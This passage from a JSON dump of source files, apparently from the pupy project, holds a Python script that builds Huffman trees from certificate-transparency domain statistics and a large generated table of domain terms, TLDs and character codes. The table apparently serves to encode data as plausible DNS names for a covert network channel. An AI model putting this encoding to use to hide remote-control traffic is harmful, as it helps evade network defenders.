'yokohama', 'you', 'youtube', 'yt', 'yun', 'za', 'zappos',\n        'zara', 'zero', 'zip', 'zm', 'zone', 'zuerich', 'zw'\n    )\n\n\n    class CTDictBuilder(object):\n        __slots__ = (\n            'terms', 'generic', 'tlds', 'cdns', 'freedns'\n        )\n\n        def __init__(self, ct_stats):\n            # CSV.ZSTD\n            # CTID;ORG;IP;PRIV;PUB\n\n            self.terms = {\n                '-': 1\n            }\n            self.generic = {}\n            self.tlds = {}\n            self.cdns = {}\n            self.freedns = {}\n\n            with open(ct_stats, 'rb') as fh:\n                dctx = zstd.ZstdDecompressor()\n                with dctx.stream_reader(fh) as reader:\n                    wrap = io.TextIOWrapper(io.BufferedReader(reader), encoding='utf8')\n                    while True:\n                        line = wrap.readline().lower()\n                        line = line.strip()\n\n                        if not line:\n                            break\n\n                        try:\n                            _, _, _, priv, pub = line.split(';')\n                        except ValueError:\n                            continue\n\n                        if priv == '*' or all(x in 'abcdef1234567890' for x in priv):\n                            priv = ''\n\n                        if not all(x in DNS_ALPHABET+'*;' for x in priv):\n                            continue\n\n                        if not all(x in DNS_ALPHABET+'*;' for x in pub):\n                            continue\n\n                        for freedns in FREEDNS:\n                            if pub.endswith('.'+freedns):\n                                self._inc_freedns(freedns)\n                                break\n\n                        for tld in TLDS:\n                            if pub.endswith('.'+tld):\n                                self._inc_tld(tld)\n\n                                non_tld = pub[:-(len(tld)+1)]\n                                generic = '.'.join(x for x in [priv, non_tld] if x)\n\n                                self._inc_generic(generic)\n                                for term in non_tld.split('.'):\n                                    self._inc_term(term)\n\n                                for term in priv.split('.'):\n                                    self._inc_term(term)\n\n                                break\n\n        def _inc_tld(self, tld):\n            if not tld:\n                return\n\n            if tld not in self.tlds:\n                self.tlds[tld] = 0\n\n            self.tlds[tld] += 1\n\n        def _inc_generic(self, generic):\n            if not generic:\n                return\n\n            for c in generic:\n                if c == '*':\n                    continue\n\n                if c not in self.generic:\n                    self.generic[c] = 0\n\n                self.generic[c] += 1\n\n        def _inc_term(self, term):\n            if not term:\n                return\n\n            if term not in self.terms:\n                self.terms[term] = 0\n\n            self.terms[term] += 1\n\n            to_leave = []\n\n            if len(self.terms) > 32768*16:\n                for term in list(self.terms):\n                    if self.terms[term] > 1:\n                        to_leave.append(term)\n\n                if len(to_leave) > 32768:\n                    to_leave = sorted(\n                        to_leave, key=lambda x: self.terms[x],\n                        reverse=True\n                    )[:32768]\n\n                self.terms = {\n                    k: self.terms[k] for k in to_leave\n                }\n\n        def _inc_cdn(self, cdn):\n            if not cdn:\n                return\n\n            if cdn not in self.cdns:\n                self.terms[cdn] = 0\n\n            self.terms[cdn] += 1\n\n        def _inc_freedns(self, freedns):\n            if not freedns:\n                return\n\n            if freedns not in self.freedns:\n                self.freedns[freedns] = 0\n\n            self.freedns[freedns] += 1\n\n        def make_trees(self):\n            trees = {}\n\n            for freq in self.__slots__:\n                max_key = 0\n                table = getattr(self, freq)\n                work_table = {}\n                for idx, key in enumerate(sorted(table, key=lambda x:table[x], reverse=True)):\n                    if idx > 511:\n                        break\n\n                    work_table[key] = table[key]\n                    if table[key] > max_key:\n                        max_key = table[key]\n\n                work_table[IS_END] = max_key + 1\n\n                h = Huffman()\n                table = work_table.items()\n\n                if not table:\n                    print((\"EMPTY TABLE\", table))\n                    continue\n\n                h.train(table)\n                trees[freq] = h.decoding_table\n\n            return trees\n\n    trees = CTDictBuilder(sys.argv[1]).make_trees()\n    with open(sys.argv[2], 'w+') as out:\n        out.write('# -*- encoding: utf-8 -*-\\n\\n')\n        out.write('TREES={}\\n'.format(repr(trees)))\n"
  },
  {
    "path": "pupy/network/lib/picocmd/dns_encoder_table.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nTREES={'generic': [(110, 9, u'9'), (111, 9, u'7'), (360, 9, u'5'), (361, 9, u'8'), (362, 9, u'6'), (363, 9, u'q'), (366, 9, u'3'), (367, 9, u'4'), (52, 8, u'0'), (53, 8, u'2'), (54, 8, u'1'), (182, 8, u'j'), (214, 8, u'z'), (215, 8, u'x'), (106, 7, u'-'), (12, 6, u'v'), (24, 6, u'y'), (25, 6, u'k'), (44, 6, u'f'), (52, 6, u'b'), (54, 6, u'g'), (55, 6, u'.'), (2, 5, u'h'), (3, 5, u'p'), (7, 5, u'u'), (13, 5, u'd'), (18, 5, u'm'), (19, 5, u'w'), (23, 5, u'c'), (0, 4, u'l'), (2, 4, u't'), (4, 4, u'n'), (5, 4, u'r'), (7, 4, u's'), (8, 4, u'i'), (10, 4, u'o'), (12, 4, u'a'), (14, 4, u'e'), (15, 4, '\\x00')], 'cdns': [(0, 0, '\\x00')], 'tlds': [(126044, 18, 'tj'), (126045, 18, 'diamonds'), (126110, 18, 'holdings'), (126111, 18, 'vote'), (126162, 18, 'restaurant'), (126163, 18, 'gp'), (126204, 18, 'istanbul'), (126205, 18, 'mc'), (128472, 18, 'lgbt'), (128473, 18, 'bw'), (128474, 18, 'gop'), (128475, 18, 'gold'), (128476, 18, 'tours'), (128477, 18, 'florist'), (128920, 18, 'gal'), (128921, 18, 'cv'), (130948, 18, 'accountants'), (130949, 18, 'bs'), (130964, 18, 'barcelona'), (130965, 18, 'voyage'), (131052, 18, 'bm'), (131053, 18, 'property'), (131054, 18, 'best'), (131055, 18, 'ceo'), (12672, 17, 'garden'), (12673, 17, 'cu'), (12708, 17, 'zm'), (12709, 17, 'parts'), (12730, 17, 'recipes'), (12731, 17, 'brussels'), (12732, 17, 'flights'), (12733, 17, 'singles'), (15842, 17, 'football'), (15843, 17, 'university'), (15846, 17, 'jetzt'), (15847, 17, 'country'), (20096, 17, 'af'), (20097, 17, 'forsale'), (20104, 17, 'construction'), (20105, 17, 'contractors'), (20156, 17, 'cheap'), (20157, 17, 'lawyer'), (29096, 17, 'finance'), (29097, 17, 'vegas'), (29102, 17, 'engineer'), (29103, 17, 'delivery'), (30378, 17, 'surf'), (30379, 17, 'clinic'), (30452, 17, 'holiday'), (30453, 17, 'ni'), (30456, 17, 'vet'), (30457, 17, 'dating'), (30916, 17, 'nrw'), (30917, 17, 'solar'), (30924, 17, 'limited'), (30925, 17, 'pet'), (30988, 17, 'games'), (30989, 17, 'taipei'), (30990, 17, 'film'), (30991, 17, 'lighting'), (31096, 17, 'ax'), (31097, 17, 'bayern'), (31100, 17, 'int'), (31101, 17, 'pr'), (31102, 17, 'sex'), (31103, 17, 'taxi'), (40146, 17, 'shoes'), (40147, 17, 'hiv'), (40322, 17, 'enterprises'), (40323, 17, 'show'), (40340, 17, 'partners'), (40341, 17, 'fj'), (40346, 17, 'cab'), (40347, 17, 'amsterdam'), (40512, 17, 'industries'), (40513, 17, 'kh'), (40560, 17, 'quebec'), (40561, 17, 'pizza'), (40768, 17, 'ngo'), (40769, 17, 'institute'), (40896, 17, 'melbourne'), (40897, 17, 'college'), (52634, 17, 'engineering'), (52635, 17, 'rw'), (52660, 17, 'mv'), (52661, 17, 'town'), (52668, 17, 'diet'), (52669, 17, 'wien'), (52670, 17, 'rest'), (52671, 17, 'hamburg'), (53044, 17, 'how'), (53045, 17, 'dance'), (53052, 17, 'frl'), (53053, 17, 'tm'), (55684, 17, 'earth'), (55685, 17, 'ltd'), (55686, 17, 'xn--j1amh'), (55687, 17, 'actor'), (55746, 17, 'capital'), (55747, 17, 'bh'), (55748, 17, 'healthcare'), (55749, 17, 'bar'), (55750, 17, 'ski'), (55751, 17, 'golf'), (59788, 17, 'sr'), (59789, 17, 'kw'), (59790, 17, 'xn--j6w193g'), (59791, 17, 'iq'), (62544, 17, 'immo'), (62545, 17, 'mo'), (62546, 17, 'porn'), (62547, 17, 'fail'), (62558, 17, 'dental'), (62559, 17, 'build'), (63023, 17, 'exposed'), (63040, 17, 'om'), (63041, 17, 'lb'), (63054, 17, 'camera'), (63080, 17, 'horse'), (63084, 17, 'estate'), (63085, 17, 'careers'), (63086, 17, 'poker'), (63087, 17, 'repair'), (63103, 17, 'swiss'), (64239, 17, 'toys'), (64461, 17, 'dj'), (64470, 17, 'futbol'), (64471, 17, 'mz'), (65475, 17, 'zw'), (65483, 17, 'ht'), (6272, 16, 'gift'), (6273, 16, 'fashion'), (6274, 16, 'eus'), (6275, 16, 'tl'), (6337, 16, 'fitness'), (6340, 16, 'wales'), (6341, 16, 'vg'), (6342, 16, 'ao'), (6343, 16, 'deals'), (6355, 16, 'cd'), (6358, 16, 'properties'), (6359, 16, 'gratis'), (6364, 16, 'productions'), (6367, 16, 'dz'), (7364, 16, 'casino'), (7365, 16, 'tt'), (7396, 16, 'yoga'), (7397, 16, 'jobs'), (7920, 16, 'rehab'), (7922, 16, 'pictures'), (7934, 16, 'koeln'), (7935, 16, 'ventures'), (10049, 16, 'na'), (10053, 16, 'rent'), (10076, 16, 'style'), (10077, 16, 'ky'), (10079, 16, 'fish'), (14549, 16, 'gh'), (14550, 16, 'menu'), (15188, 16, 'fo'), (15214, 16, 'ren'), (15215, 16, 'hn'), (15227, 16, 'nc'), (15229, 16, 'rip'), (15459, 16, 'desi'), (15463, 16, 'energy'), (15466, 16, 'cards'), (15467, 16, 'computer'), (15540, 16, 'band'), (15541, 16, 'graphics'), (15549, 16, 'place'), (20072, 16, 'sc'), (20074, 16, 'boutique'), (20075, 16, 'rentals'), (20160, 16, 'express'), (20171, 16, 'clothing'), (20172, 16, 'gy'), (20174, 16, 'gd'), (20175, 16, 'black'), (20232, 16, 'legal'), (20233, 16, 'tc'), (20234, 16, 'management'), (20235, 16, 'sydney'), (20257, 16, 'fund'), (20258, 16, 'jo'), (20259, 16, 'coach'), (20281, 16, 'kred'), (20282, 16, 'kiwi'), (20283, 16, 'ist'), (20284, 16, 'cash'), (20285, 16, 'foundation'), (20385, 16, 'report'), (20394, 16, 'sn'), (20395, 16, 'onl'), (20449, 16, 'cafe'), (20462, 16, 'supply'), (20463, 16, 'eg'), (26316, 16, 'ci'), (26331, 16, 'vision'), (26523, 16, 'bio'), (26527, 16, 'wf'), (27872, 16, 'lc'), (29858, 16, 'kitchen'), (29859, 16, 'nf'), (29918, 16, 'mg'), (29919, 16, 'exchange'), (31274, 16, 'kg'), (31275, 16, 'international'), (31278, 16, 'bike'), (31510, 16, 'pink'), (31521, 16, 'mom'), (31526, 16, 'care'), (31532, 16, 'watch'), (31533, 16, 'bi'), (31534, 16, 'school'), (31535, 16, 'bet'), (31541, 16, 'camp'), (31550, 16, 'ug'), (32076, 16, 'scot'), (32077, 16, 'training'), (32231, 16, 'shop'), (32234, 16, 'tz'), (32736, 16, 'ooo'), (32740, 16, 'sv'), (32762, 16, 'gl'), (3169, 15, 'family'), (3176, 15, 'aero'), (3178, 15, 'group'), (3683, 15, 'je'), (3699, 15, 'as'), (3966, 15, 'ac'), (5025, 15, 'bzh'), (5027, 15, 'dog'), (7590, 15, 'uno'), (7591, 15, 'house'), (7595, 15, 'community'), (7604, 15, 'business'), (7605, 15, 'money'), (7606, 15, 'beer'), (7612, 15, 'berlin'), (7615, 15, 'photos'), (7728, 15, 'farm'), (7730, 15, 'kim'), (7732, 15, 'fit'), (7746, 15, 'marketing'), (7771, 15, 'love'), (10081, 15, 'consulting'), (10082, 15, 'software'), (10083, 15, 'wedding'), (10084, 15, 'team'), (10118, 15, 'support'), (10119, 15, 'direct'), (10143, 15, 'mil'), (10176, 15, 'gallery'), (10177, 15, 'domains'), (10193, 15, 'moscow'), (10196, 15, 'fyi'), (10225, 15, 'coop'), (10230, 15, 'audio'), (13159, 15, 'directory'), (13164, 15, 'cy'), (13166, 15, 'run'), (13260, 15, 'reviews'), (13262, 15, 'pa'), (13276, 15, 'education'), (13277, 15, 'sx'), (13278, 15, 'mortgage'), (13279, 15, 'qa'), (13920, 15, 'photo'), (13926, 15, 'services'), (13927, 15, 'expert'), (14928, 15, 'bo'), (14932, 15, 'mu'), (14933, 15, 'hosting'), (14944, 15, 'plus'), (14945, 15, 'ink'), (14946, 15, 'uz'), (14950, 15, 'wiki'), (14951, 15, 'py'), (14958, 15, 'market'), (15638, 15, 'sexy'), (15752, 15, 'coffee'), (15753, 15, 'help'), (15754, 15, 'gs'), (15761, 15, 'cool'), (15762, 15, 'cricket'), (15772, 15, 'blue'), (15773, 15, 'church'), (15774, 15, 'yt'), (16039, 15, 'ps'), (16058, 15, 'travel'), (16114, 15, 'works'), (16116, 15, 'tools'), (16369, 15, 'cm'), (16371, 15, 'pics'), (16380, 15, 'buzz'), (16382, 15, 'technology'), (16383, 15, 'tf'), (1569, 14, 'paris'), (1570, 14, 'global'), (1571, 14, 'video'), (1590, 14, 'academy'), (1840, 14, 'events'), (1848, 14, 'tokyo'), (1981, 14, 'vc'), (1982, 14, 'ag'), (2486, 14, 'cx'), (2487, 14, 'land'), (2518, 14, 'ms'), (3636, 14, 'chat'), (3638, 14, 'guide'), (3639, 14, 'wang'), (3794, 14, 'pm'), (3796, 14, 'studio'), (3867, 14, 'pub'), (3872, 14, 'city'), (3884, 14, 'gt'), (3886, 14, 'codes'), (5019, 14, 'store'), (5056, 14, 'vip'), (5057, 14, 'company'), (5065, 14, 'social'), (5089, 14, 'cr'), (5097, 14, 'sale'), (5099, 14, 'sh'), (5113, 14, 'so'), (5114, 14, 'mt'), (6576, 14, 'wtf'), (6577, 14, 'mn'), (6578, 14, 'london'), (6636, 14, 'center'), (6637, 14, 'vu'), (6961, 14, 'tips'), (6962, 14, 'agency'), (6969, 14, 'nyc'), (6970, 14, 'bank'), (6971, 14, 'np'), (7465, 14, 'photography'), (7467, 14, 'haus'), (7474, 14, 'red'), (7478, 14, 'world'), (7816, 14, 'st'), (7817, 14, 'ai'), (7882, 14, 'systems'), (7884, 14, 'bd'), (8018, 14, 'gg'), (8028, 14, 'network'), (8056, 14, 'racing'), (8059, 14, 'zone'), (8186, 14, 'lol'), (8187, 14, 'ly'), (793, 13, 'sa'), (921, 13, 'email'), (925, 13, 'digital'), (1240, 13, 'uy'), (1241, 13, 'xxx'), (1242, 13, 'news'), (1257, 13, 'solutions'), (1258, 13, 'men'), (1896, 13, 'mk'), (1899, 13, 'do'), (1900, 13, 'ba'), (1902, 13, 'blog'), (1937, 13, 'ge'), (1940, 13, 'media'), (1941, 13, 'guru'), (2506, 13, 'life'), (2507, 13, 'la'), (2508, 13, 'design'), (2530, 13, 'md'), (2531, 13, 'lk'), (2533, 13, 'tn'), (2534, 13, 'ec'), (2540, 13, 'moe'), (2541, 13, 'bz'), (2545, 13, 'one'), (3290, 13, 'fm'), (3314, 13, 'al'), (3738, 13, 'am'), (3939, 13, 'ma'), (4008, 13, 'ke'), (4015, 13, 'degree'), (4030, 13, 're'), (4031, 13, 'cat'), (4094, 13, 'casa'), (318, 12, 'az'), (319, 12, 'bg'), (393, 12, 'cloud'), (461, 12, 'by'), (463, 12, 'kz'), (494, 12, 'to'), (908, 12, 'lu'), (967, 12, 'webcam'), (969, 12, 'li'), (1252, 12, 'ae'), (1255, 12, 'name'), (1261, 12, 'today'), (1262, 12, 'ng'), (1263, 12, 'pe'), (1268, 12, 'im'), (1269, 12, 'trade'), (1271, 12, 'stream'), (1273, 12, 'rs'), (1275, 12, 'si'), (1279, 12, 'press'), (1656, 12, 'ee'), (1658, 12, 'ph'), (1741, 12, 'th'), (1743, 12, 'gov'), (1867, 12, 'host'), (1955, 12, 'hr'), (1968, 12, 'party'), (2005, 12, 'lt'), (2006, 12, 'ir'), (2012, 12, 'is'), (2013, 12, 'ws'), (156, 11, 'su'), (157, 11, 'xn--p1ai'), (158, 11, 've'), (197, 11, 'ninja'), (199, 11, 'faith'), (246, 11, 'lv'), (311, 11, 'download'), (315, 11, 'pk'), (455, 11, 'asia'), (472, 11, 'rocks'), (473, 11, 'nu'), (482, 11, 'date'), (638, 11, 'ie'), (823, 11, 'click'), (932, 11, 'hk'), (935, 11, 'gdn'), (976, 11, 'review'), (1000, 11, 'science'), (1001, 11, 'il'), (1022, 11, 'sg'), (96, 10, 'pro'), (97, 10, 'accountant'), (114, 10, 'mobi'), (122, 10, 'sk'), (126, 10, 'tr'), (127, 10, 'win'), (154, 10, 'pt'), (156, 10, 'kr'), (226, 10, 'work'), (240, 10, 'my'), (243, 10, 'tw'), (312, 10, 'fi'), (314, 10, 'bid'), (410, 10, 'cc'), (415, 10, 'no'), (434, 10, 'vn'), (438, 10, 'edu'), (439, 10, 'ar'), (470, 10, 'cn'), (471, 10, 'website'), (489, 10, 'cl'), (493, 10, 'loan'), (494, 10, 'link'), (495, 10, 'at'), (502, 10, 'tv'), (510, 10, 'site'), (38, 9, 'online'), (56, 9, 'za'), (60, 9, 'space'), (62, 9, 'id'), (76, 9, 'hu'), (79, 9, 'gr'), (112, 9, 'live'), (114, 9, 'ovh'), (115, 9, 'nz'), (119, 9, 'mx'), (204, 9, 'cz'), (206, 9, 'jp'), (216, 9, 'club'), (218, 9, 'se'), (232, 9, 'ro'), (234, 9, 'ua'), (245, 9, 'dk'), (254, 9, 'pw'), (18, 8, 'es'), (25, 8, 'biz'), (29, 8, 'be'), (58, 8, 'it'), (61, 8, 'ch'), (100, 8, 'us'), (101, 8, 'io'), (124, 8, 'ml'), (126, 8, 'me'), (8, 7, 'in'), (10, 7, 'ca'), (11, 7, 'tech'), (13, 7, 'pl'), (18, 7, 'co'), (31, 7, 'eu'), (38, 7, 'nl'), (55, 7, 'br'), (59, 7, 'info'), (60, 7, 'au'), (8, 6, 'gq'), (16, 6, 'ru'), (17, 6, 'de'), (18, 6, 'ga'), (24, 6, 'fr'), (26, 6, 'top'), (28, 6, 'uk'), (5, 5, 'cf'), (6, 5, 'org'), (10, 5, 'net'), (11, 5, 'xyz'), (0, 4, 'tk'), (2, 2, 'com'), (3, 2, '\\x00')], 'terms': [(6550, 14, u'correo'), (6551, 14, u'temp'), (6552, 14, u'wi'), (6553, 14, u'dedicated'), (6560, 14, u'lviv'), (6561, 14, u'nextcloud'), (6562, 14, u'cm'), (6563, 14, u'sc'), (6572, 14, u'inf'), (6573, 14, u'member'), (6576, 14, u'bbs'), (6577, 14, u'toyota'), (6582, 14, u'post'), (6583, 14, u'cloudfunctions'), (6618, 14, u'payment'), (6619, 14, u'elearning'), (6642, 14, u'eco'), (6643, 14, u'webdav'), (6786, 14, u'adidas'), (6787, 14, u'cdn2'), (6788, 14, u'qoo10'), (6789, 14, u'book'), (6790, 14, u'downloads'), (6791, 14, u'health'), (6792, 14, u'sentry'), (6793, 14, u'qa1'), (6794, 14, u'if'), (6795, 14, u'archive'), (6802, 14, u'myiomega'), (6803, 14, u'radio'), (6806, 14, u'monitoring'), (6807, 14, u'team'), (6810, 14, u'tradenetworks'), (6811, 14, u'bot'), (6814, 14, u'u'), (6815, 14, u'loja'), (6912, 14, u'resources'), (6913, 14, u'gestion'), (6916, 14, u'drive'), (6917, 14, u'portfolio'), (6976, 14, u'project'), (6977, 14, u'yunjiasussl'), (6980, 14, u'zp'), (6981, 14, u'labs'), (7012, 14, u'x10'), (7013, 14, u'play'), (7018, 14, u'dev3'), (7019, 14, u'map'), (7024, 14, u'stack'), (7025, 14, u'backend'), (7028, 14, u'sms'), (7029, 14, u'qld'), (7030, 14, u'qa2'), (7031, 14, u'xb'), (7036, 14, u'global'), (7037, 14, u'repo'), (7038, 14, u'ezproxy'), (7039, 14, u'ext'), (7048, 14, u'ec5'), (7049, 14, u'cdn1'), (7052, 14, u'predicta'), (7053, 14, u'link'), (7054, 14, u'promo'), (7055, 14, u'social'), (7080, 14, u'public'), (7081, 14, u'toservers'), (7086, 14, u'im'), (7087, 14, u'intra'), (7682, 14, u'br'), (7683, 14, u'fitnessfirst'), (7684, 14, u'order'), (7685, 14, u'g'), (7686, 14, u'fna'), (7687, 14, u'fbcdn'), (7702, 14, u'nom'), (7703, 14, u'govt'), (7706, 14, u'testcertificates'), (7707, 14, u'learn'), (7746, 14, u'mwn'), (7747, 14, u'seafile'), (7750, 14, u'docker'), (7751, 14, u'manager'), (7756, 14, u'sklep'), (7757, 14, u'liveupdate'), (7758, 14, u'huggies'), (7759, 14, u'core'), (7766, 14, u'ip'), (7767, 14, u'lp'), (7770, 14, u'partners'), (7771, 14, u'www3'), (7774, 14, u'test1'), (7775, 14, u'confluence'), (7782, 14, u'myaccount'), (7783, 14, u'mail1'), (7784, 14, u'websitedesignroom'), (7785, 14, u'mfa'), (7786, 14, u'netsons'), (7787, 14, u'inmotionhosting'), (7812, 14, u'gameflex'), (7813, 14, u'si'), (7820, 14, u'umn'), (7821, 14, u'pad'), (7832, 14, u'cdngc'), (7833, 14, u'join'), (7836, 14, u'ch'), (7837, 14, u'mysql'), (7880, 14, u'careers'), (7881, 14, u'bc'), (7884, 14, u'w'), (7885, 14, u'ua'), (7930, 14, u's2'), (7931, 14, u'pe'), (7932, 14, u'ucc'), (7933, 14, u'kimberly-clark'), (7958, 14, u'doc'), (7959, 14, u'hoffman-andrews'), (8028, 14, u'reports'), (8029, 14, u'gdg'), (8030, 14, u'purina'), (8031, 14, u'sites'), (8048, 14, u'accounts'), (8049, 14, u'blogs'), (8052, 14, u'le-test'), (8053, 14, u'mythic-beasts'), (8054, 14, u'be'), (8055, 14, u'travel'), (8068, 14, u'survey'), (8069, 14, u'xmpp'), (8070, 14, u'cv'), (8071, 14, u'sa'), (8092, 14, u'sharepoint'), (8093, 14, u'tech'), (8100, 14, u'mb'), (8101, 14, u'cloudapp'), (8108, 14, u'0-www'), (8109, 14, u'newsletter'), (8114, 14, u'intern'), (8115, 14, u'x'), (8120, 14, u'sts'), (8121, 14, u'jabber'), (8126, 14, u'register'), (8127, 14, u'backup'), (8160, 14, u'r'), (8161, 14, u'iomegalink'), (8162, 14, u'checkout'), (8163, 14, u'ns1'), (8172, 14, u'dpaw'), (8173, 14, u'ds'), (8174, 14, u'ebay'), (8175, 14, u'dev1'), (2118, 13, u'admob'), (2119, 13, u'booking'), (2120, 13, u'nsw'), (2121, 13, u'partner'), (2128, 13, u'mydrobo'), (2129, 13, u'erp'), (2130, 13, u'image'), (2131, 13, u'training'), (2132, 13, u'at'), (2133, 13, u'storage'), (2136, 13, u'pl'), (2137, 13, u'love'), (2154, 13, u'sky'), (2155, 13, u'jezweb'), (2160, 13, u'payments'), (2161, 13, u'name'), (2170, 13, u'webconf'), (2171, 13, u'ads'), (2174, 13, u'donate'), (2175, 13, u'aws'), (2208, 13, u'adfs'), (2209, 13, u'vs'), (2212, 13, u'av'), (2213, 13, u'gateway'), (2242, 13, u'get'), (2243, 13, u'monitor'), (2258, 13, u'forums'), (2259, 13, u'l'), (2264, 13, u'file'), (2265, 13, u'devfest'), (2276, 13, u'microsoft'), (2277, 13, u'sync'), (2282, 13, u'vic'), (2283, 13, u'myds'), (2298, 13, u'eng'), (2299, 13, u'asn'), (2336, 13, u'no'), (2337, 13, u'yandex'), (2338, 13, u'dyndns'), (2339, 13, u'business'), (2342, 13, u'boutique'), (2343, 13, u'server4'), (2348, 13, u'tamu'), (2349, 13, u'1'), (2350, 13, u'lync'), (2351, 13, u'cdnetworks'), (2364, 13, u'lib'), (2365, 13, u'wordpress'), (2416, 13, u'developer'), (2417, 13, u'a'), (2418, 13, u'ts'), (2419, 13, u'registry'), (2424, 13, u'gallery'), (2425, 13, u'idv'), (2426, 13, u'hu-berlin'), (2427, 13, u'cpanel'), (2434, 13, u'test2'), (2435, 13, u'irc'), (2440, 13, u'v2'), (2441, 13, u'upload'), (2442, 13, u'server3'), (2443, 13, u'local'), (2448, 13, u'account'), (2449, 13, u'school'), (2450, 13, u'events'), (2451, 13, u'nl'), (2456, 13, u'proxy'), (2457, 13, u'yahoo'), (2458, 13, u'autoconfig'), (2459, 13, u'ovh'), (2462, 13, u'dev2'), (2463, 13, u'sf'), (2514, 13, u'mo'), (2515, 13, u'state'), (2518, 13, u'apple'), (2519, 13, u'nic'), (2522, 13, u'itmatik'), (2523, 13, u's1'), (2554, 13, u'testing'), (2555, 13, u'fs'), (2556, 13, u'deevop'), (2557, 13, u'za'), (2558, 13, u'sso'), (2559, 13, u'cornell'), (3074, 13, u't'), (3075, 13, u'ddns'), (3082, 13, u'site'), (3083, 13, u'philips'), (3088, 13, u'pay'), (3089, 13, u'search'), (3096, 13, u'billing'), (3097, 13, u'blogspot'), (3126, 13, u'adwords'), (3127, 13, u'ar'), (3204, 13, u'tools'), (3205, 13, u'tv'), (3208, 13, u'code'), (3209, 13, u'mhub-prev'), (3210, 13, u'content'), (3211, 13, u'hasura-app'), (3220, 13, u'outlook'), (3221, 13, u'tickets'), (3222, 13, u'mhub'), (3223, 13, u'pma'), (3230, 13, u'share'), (3231, 13, u'dolce-gusto'), (3274, 13, u'hub'), (3277, 13, u'att'), (3282, 13, u'moodle'), (3283, 13, u'asso'), (3287, 13, u'apply'), (3289, 13, u'manage'), (3290, 13, u'lists'), (3304, 13, u'lab'), (3305, 13, u'projects'), (3308, 13, u'jp'), (3310, 13, u'duckdns'), (3311, 13, u'mail2'), (3320, 13, u'art'), (3322, 13, u'ws'), (3323, 13, u'on'), (3392, 13, u'c'), (3400, 13, u'charite'), (3402, 13, u'plex'), (3404, 13, u'meeting'), (3406, 13, u'hp'), (3457, 13, u'ca'), (3459, 13, u'ad'), (3464, 13, u'photo'), (3465, 13, u'comet1'), (3466, 13, u'comet4'), (3467, 13, u'comet2'), (3468, 13, u'comet3'), (3469, 13, u'music'), (3489, 13, u'cs'), (3491, 13, u'psql04'), (3494, 13, u'psql05'), (3495, 13, u'psql01'), (3496, 13, u'psql03'), (3497, 13, u'psql02'), (3498, 13, u'mysql09'), (3499, 13, u'mysql08'), (3500, 13, u'mysql03'), (3501, 13, u'mysql10'), (3502, 13, u'mysql05'), (3503, 13, u'mysql04'), (3504, 13, u'mysql02'), (3505, 13, u'mysql07'), (3507, 13, u'mysql06'), (3508, 13, u'mysql01'), (3513, 13, u'hosting'), (3525, 13, u'upc'), (3538, 13, u'community'), (3539, 13, u'od'), (3541, 13, u'dav'), (3542, 13, u'alpha'), (3840, 13, u'srv'), (3850, 13, u'jobs'), (3852, 13, u'sp'), (3872, 13, u'box'), (3874, 13, u'firebaseapp'), (3876, 13, u'pda'), (3877, 13, u'dashboard'), (3880, 13, u'au'), (3881, 13, u'internal'), (3882, 13, u'vodafone'), (3884, 13, u'cn'), (3886, 13, u'nestle'), (3888, 13, u'svn'), (3889, 13, u'access'), (3890, 13, u'server2'), (3894, 13, u'photos'), (3895, 13, u'int'), (3904, 13, u'rss'), (3905, 13, u'dl'), (3907, 13, u'panel'), (3911, 13, u'rsc'), (3917, 13, u'qc'), (3919, 13, u'med'), (3941, 13, u'mpg'), (3943, 13, u'redmine'), (3964, 13, u'jenkins'), (3967, 13, u'uni-bonn'), (3978, 13, u'library'), (4025, 13, u'helpdesk'), (4042, 13, u'p'), (4043, 13, u'ind'), (4047, 13, u'live'), (4051, 13, u'accenture'), (4055, 13, u'flowers-to-the-world'), (4056, 13, u'spb'), (4058, 13, u'jira'), (4059, 13, u'es'), (4061, 13, u'composedb'), (4062, 13, u'wap'), (4066, 13, u'pro'), (4067, 13, u'client'), (1058, 12, u'it'), (1061, 12, u'nas'), (1062, 12, u'analytics'), (1063, 12, u'biz'), (1067, 12, u'phpmyadmin'), (1069, 12, u'mx'), (1070, 12, u'clients'), (1071, 12, u'i'), (1076, 12, u'dialin'), (1081, 12, u'cdn77'), (1084, 12, u'dp'), (1086, 12, u'help'), (1105, 12, u'mgames'), (1107, 12, u'ci'), (1120, 12, u'video'), (1126, 12, u'auth'), (1127, 12, u'healthytest'), (1128, 12, u'cp'), (1130, 12, u'docs'), (1131, 12, u'preprod'), (1133, 12, u'oc'), (1136, 12, u'www1'), (1137, 12, u'wa'), (1139, 12, u'wp'), (1140, 12, u'old'), (1142, 12, u'k12'), (1143, 12, u'stg'), (1148, 12, u'online'), (1162, 12, u'assets'), (1163, 12, u'download'), (1166, 12, u'legacy'), (1167, 12, u'connect'), (1170, 12, u'asu'), (1180, 12, u'service'), (1181, 12, u'extranet'), (1183, 12, u'preview'), (1210, 12, u'citrix'), (1211, 12, u'waw'), (1216, 12, u'intuit'), (1230, 12, u'adv'), (1256, 12, u'sandbox'), (1258, 12, u'cms'), (1260, 12, u'data'), (1276, 12, u'news'), (1536, 12, u'de'), (1540, 12, u'prod'), (1545, 12, u'incapsula'), (1549, 12, u'ru'), (1562, 12, u'ne'), (1603, 12, u'services'), (1614, 12, u'gob'), (1636, 12, u'cyph'), (1639, 12, u'images'), (1642, 12, u'gwstest'), (1653, 12, u'uat'), (1699, 12, u'youtube'), (1735, 12, u'remotewebaccess'), (1746, 12, u'dr'), (1755, 12, u's'), (1758, 12, u'server1'), (1768, 12, u'pop'), (1924, 12, u'gen'), (1927, 12, u'chat'), (1954, 12, u'vps'), (1956, 12, u'piwik'), (1957, 12, u'office'), (1988, 12, u'hybris'), (2004, 12, u'meet'), (2005, 12, u'members'), (2006, 12, u'altervista'), (2014, 12, u'corp'), (2015, 12, u'email'), (2016, 12, u'exchange'), (2020, 12, u'img'), (2022, 12, u'tum'), (2024, 12, u'stats'), (2026, 12, u'intranet'), (2032, 12, u'media'), (2041, 12, u'gitlab'), (2042, 12, u'crm'), (528, 11, u'login'), (539, 11, u'www2'), (541, 11, u'id'), (561, 11, u'securetest'), (562, 11, u'synology'), (567, 11, u'en'), (575, 11, u'files'), (580, 11, u'us'), (582, 11, u'apps'), (586, 11, u'3cx'), (607, 11, u'new'), (609, 11, u'lyncdiscover'), (611, 11, u'poczta'), (613, 11, u'sch'), (631, 11, u'host'), (769, 11, u'stage'), (771, 11, u'ssl'), (773, 11, u'kiev'), (775, 11, u'status'), (780, 11, u'info'), (800, 11, u'qa'), (803, 11, u'home'), (804, 11, 